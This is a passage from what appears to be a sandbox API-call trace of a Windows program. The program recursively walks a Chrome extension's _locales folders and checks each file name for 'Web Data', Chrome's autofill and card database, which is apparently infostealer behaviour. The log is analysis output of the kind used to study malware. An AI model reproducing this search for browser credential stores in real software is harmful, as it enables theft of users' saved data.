IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\" [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\") returned 120 [0056.424] lstrlenA (lpString="_locales") returned 8 [0056.424] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x2dfee0 [0056.424] lstrcpyA (in: lpString1=0x2dfee0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\" [0056.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.424] LocalFree (hMem=0x2dfdd8) returned 0x0 [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.424] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.424] lstrlenA (lpString="\\*.*") returned 4 [0056.424] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dfff0 [0056.424] lstrcpyA (in: lpString1=0x2dfff0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.424] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*.*" [0056.425] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.425] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.425] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.425] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.425] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.425] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.425] lstrcmpiA (lpString1=".", lpString2="af") returned -1 [0056.425] lstrcmpiA (lpString1="..", lpString2="af") returned -1 [0056.425] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.425] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.425] lstrlenA (lpString="\\") returned 1 [0056.425] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.425] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.425] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.425] lstrlenA (lpString="af") returned 2 [0056.425] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.425] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="af" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" [0056.425] LocalFree (hMem=0x2e0100) returned 0x0 [0056.425] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned 131 [0056.425] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned 131 [0056.425] lstrlenA (lpString="\\*.*") returned 4 [0056.425] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.425] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af" [0056.425] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*.*" [0056.425] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.426] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.426] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.426] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.426] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.426] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.426] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.426] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.426] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.426] LocalFree (hMem=0x2e0100) returned 0x0 [0056.426] LocalFree (hMem=0x2e0210) returned 0x0 [0056.426] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.426] lstrcmpiA (lpString1=".", lpString2="am") returned -1 [0056.426] lstrcmpiA (lpString1="..", lpString2="am") returned -1 [0056.426] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.426] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.426] lstrlenA (lpString="\\") returned 1 [0056.426] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.426] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.426] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.426] lstrlenA (lpString="am") returned 2 [0056.426] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.426] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="am" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" [0056.426] LocalFree (hMem=0x2e0100) returned 0x0 [0056.426] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned 131 [0056.426] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned 131 [0056.426] lstrlenA (lpString="\\*.*") returned 4 [0056.426] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.426] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" [0056.426] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*.*" [0056.426] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.426] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.426] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.426] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.426] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.426] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.426] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.426] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.426] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.426] LocalFree (hMem=0x2e0100) returned 0x0 [0056.426] LocalFree (hMem=0x2e0210) returned 0x0 [0056.426] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.427] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.427] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.427] lstrlenA (lpString="\\") returned 1 [0056.427] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.427] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.427] lstrlenA (lpString="ar") returned 2 [0056.427] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.427] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" [0056.427] LocalFree (hMem=0x2e0100) returned 0x0 [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned 131 [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned 131 [0056.427] lstrlenA (lpString="\\*.*") returned 4 [0056.427] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.427] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" [0056.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*.*" [0056.427] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.427] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.427] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.427] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.427] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.427] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.427] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.427] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.427] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.427] LocalFree (hMem=0x2e0100) returned 0x0 [0056.427] LocalFree (hMem=0x2e0210) returned 0x0 [0056.427] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.427] lstrcmpiA (lpString1=".", lpString2="az") returned -1 [0056.427] lstrcmpiA (lpString1="..", lpString2="az") returned -1 [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.427] lstrlenA (lpString="\\") returned 1 [0056.427] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.427] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.427] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.427] lstrlenA (lpString="az") returned 2 [0056.427] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.427] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.427] lstrcatA 